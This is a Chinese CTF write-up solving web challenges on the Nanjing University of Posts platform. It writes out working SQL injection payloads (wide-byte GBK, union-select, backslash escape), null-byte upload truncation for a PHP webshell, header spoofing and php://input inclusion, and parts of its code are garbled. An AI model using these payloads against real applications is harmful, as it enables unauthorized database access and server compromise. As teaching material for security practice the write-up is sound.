南邮CTF——WEB Write Up
南邮CTF——WEB Write Up
md5 collision——md5弱类型
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}"
;}
else {
echo "false!!!";
}}
else{
echo "please input a";
}
?>
一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。
PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的啦!
所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
因此,给a传值240610708,得到网页输出的flag为nctf{md5_collision_is_easy}
签到2 —— 字节数不够
- 方法一:
修改前端提示:请输入口令zhimakaimen
修改前端,把10改为20
- 方法二:
方法二:截包把zhimakaime改成zhimakaimen即可
这题不是web——图片下载记事本打开
看到2.gif,下载,用记事本或者winhex打开
层层递进——htm网页源码
看到so.html,试着点进去 再点so.htm,一直点到404,看到答案
大神文章
MYSQL——robots.txt
题目:MYSQL
看到提示:robots.txt,点百度百科链接进去,发现真的是百度百科… 御剑扫一下后台 发现果然有robots.txt,从网页打开看看是什么 看到中文乱码,保存到txt中再打开(相当于用utf-8解码) 发现flag不在这…继续看网站下的其他文件,发现有个sql.php,但是打不开再回头看刚刚打开的那个页面,发现:,这里给了提示
<?phpif($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
} else{
echo($query[content]);
}}?>
分析这段代码 if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); }
要求id!=1024,get传参尝试一下/sql.php?id=1023
或id =1025
发现显示的貌似不是flag再关注1024,思考可能内容就在id=1024里面,但代码判断不能是1024才显示那我们就要想有什么可以等效1024,但不等于1024很容易想到时mysql的精度问题,输入1024.1试试 就可以得到flag:the flag is:nctf{query_in_mysql}
GBK Injection——宽字节注入
打开网页,发现 显然,绕过输入1’看下结果 过滤了单引号’1.记录此题,主要学习关于宽字节注入。原理:在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下)。而经过转义之后的单引号’会变为’,即%5c%27。构造id=1%df%27%23,在经过转义传递给mysql时,就是id=1%df%5c%27%23,mysql在解析时,会认为%df%5c是一个汉字,而%27就会闭合掉原本sql语句中的(左)单引号,即select xxx from xxx where id=’%df%5c’#’,%23用于注释掉原本sql语句中的(右)单引号。这就是宽字节注入的原理。2.构造注入:先查看数据库:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27 union select null,database()–+ 得sae-chinalover 然后查表:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 这个比较过分,有5个表:ctf,ctf2,ctf3,ctf4,news 因为引号被过滤,按常规的注入,得绕很多。这里猜测flag字段为flag,然后一个一个表查,发现是在表ctf4 语句为:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%d6%27 union select 1,(select flag from ctf4) --+ 更换表名查即可。 bypass again——弱类型 Md5弱类型,输入两串字符使其相等a=240610708&b=QNKCDZO 伪装者——伪造Client-IP 要求本地登陆用brup抓包,在Request头部添加Client-IP: 127.0.0.1即可,伪造ip,按理来说添加X-Forward-For:127.0.0.1应该也可以,但是在这不行,只显示了一个flag。
上传绕过 —— 文件上传 / 00截断
传个一句话木马,提示仅支持上传相应后缀文件 传图片,提示后缀为php??? 把ma.php改为ma.png,上传抓包试一下 附:文件上传检测的基本思路https://blog.csdn.net/wy_97/article/details/76549761http://www.lofter.com/lpost/30ae63ff_1c6f8f0d0一般按照思路逐步尝试即可,简单的大小写,加后缀不可过,此题无js,猜测为0x00截断上传,此处仔细分析何为0x00截断上传及其原理 简单举个例子:<% path=“upfiles/picture/” file=“20121212.jpg” upfilename=path & file ‘最后的上传地址 %> upfilename即为最终名字,意思为如果地址为picture/1.php+,文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg,0x00截断的思路即为将+之后的内容忽略掉,使上传文件1.jpg最终上传到1.php中,此处利用到的就是0x00的截断漏洞,下面用题目做具体说明: 首先bp上传图片,将数据包发到repeater,并对/uploads/后面加上1.php+,此处相当于上述例子中的path: 然后打开hex(16进制),找到+对应的编码: 0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go SQL注入1 —— 闭合符号看题明显是考察代码审计Secure Web Login<?phpif($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo ''.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "
Logged in! flag:********************
"; } if($query[user] != "admin") { echo("You are not admin!
"); }}echo $query[user];?>Source 通过这句话: user."’) and (pw=’".query[user]==“admin”) { echo "Logged in! flag:********************
";可以发现题目需要用户名为admin因此在username处输入admin’)#pass check —— 数组
题目:[email protected]$_POST['pass'];$pass1=***********;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>
post方式提交参数pass和pass1F12,POST DATA:pass[]=1&pass1[]=1得到flag
起名字真难 ——弱类型
<?php function noother_says_correct($number){ $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '54975581388';}$flag='*******'; if(noother_says_correct($_GET['key'])) echo $flag; else echo 'access denied'; ?>
要求get传参,且数组key的值要与54975581388 相等分析源码,可知必须等于目标数字但又不能为数字,转化为16进制后可满足要求。用win自带的计算器,切换到程序员模式 Get传参,0xccccccccc 密码重置 —— BP题目要求: 题目要求我们将用户名改为admin,F12查看发现不能修改: 然后抓包,我们发现了三个可疑的地方,1、2处先后url解码、base64解码时ctfuser,所以我们将admin的base64、url编码替换1、2,然后将3处改为admin: 或者直接改Params下的user1和user: 改为: 注意user1是用了base64加密得到flag:nctf{reset_password_often_have_vuln}
SQL Injection——反斜杠 转义
题目:继续注入吧! TIP:反斜杠可以用来转义 仔细查看相关函数的用法网页源代码:Invalid password!注意上面clean function中的htmlentities()函数,它会把输入字符中的 ’ 或者 ” 转变为html实体,这样一来就无法闭合源代码中的 ’ 了,还有就是,如果php的magic_quotes_gpc是开启状态的话,我们输入的转义符也会被去掉的,不过既然这道题目能做,说明我们是可以使用转义符 \ ,我们解这道题的关键就是使用转义符 \ 来让源代码中 ‘SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;’ $username后面的 ’ 失效,只要 这个 ’ 失效,就能闭合name=后面的 ’ ,要达到这一目的,我们只需要让username=admin \即可,让后使password的值为一个永真式(or 1=1)就可以得到这道题的flag 这样提交的数据,会导致源代码中的SQL语句变为:SELECT * FROM users WHERE name=‘admin ’ AND pass=’ or 1=1注入语句:?username=admin &password=or 1=1%23//%23是#的URL编码 即可得到flag
综合题——jsfuck
打开题目,发现是这样一串字符 粘贴到jsfuck(http://www.jsfuck.com/)里面解密 得到结果:1bc29b36f623ba82aaf6724fd3b16718.php查看该网页,发现 脑袋=head因此想到抓包 发现history of bash用法就是:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history 打开提示一个zip文件,下载就好了/flagbak.zip SQL注入2 ——post md5Secure Web Login II <?phpif($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "
Logged in! Key: ntcf{**************}
"; } else { echo("Log in failure!
"); }}?> Source在username框中输入:Username’ and 0=1 union select “c4ca4238a0b923820dcc509a6f75849b”#在password框中输入:1 原理:最前面的单引号:闭合原文的where user=’AND 0=1 :为了使前面的表达式返回值为空,从而使select pw from php where user=’’ and 0=1这句话完全没用接着我们使用union select “c4ca4238a0b923820dcc509a6f75849b”,直接把md5值作为返回值return给query就会有值c4ca4238a0b923820dcc509a6f75849b这串数字是数字1经过md5 hash之后的结果,可以直接用md5(1)代替最后的#用来注释掉后面的东西##综合题2——未完
https://www.jianshu.com/p/0ab7c1a9110a 看到最后 有个链接 点进去 发现一个小提示config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, )各种乱点,发现第二条提示:查看页面源码有惊喜 回去看源码 发现有so.php 只有本公司浏览器才能用回到主页面,在搜索框中输入1,然后抓包 更改user-agent为Xlcteam Browser
密码重置2——swp
打开网页
观察了一些源代码,果然找到了管理员邮箱[email protected] 看下一个提示非正常关闭vi编辑器时会生成一个.swp文件尝试http://nctf.nuptzj.cn/web14/submit.php.swp,404错误再尝试http://nctf.nuptzj.cn/web14/.submit.php.swp 得到提示if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from
user` where token=‘emailAddress’"; sql) or die(‘db error’); r); $r = r>0){ echo $flag; }else{ echo “澶辫触浜嗗憖”; }}
token要10,并且要=0,很快想到0e00000000得到flag:nctf{thanks_to_cumt_bxs}
file_get_contents ——文件包含
空白网页,题目中也没给提示,查看源码 http://chinalover.sinaapp.com/web23/?file=php://inputPost传参:meizijiu
上一篇: Android游戏开发之旅系列一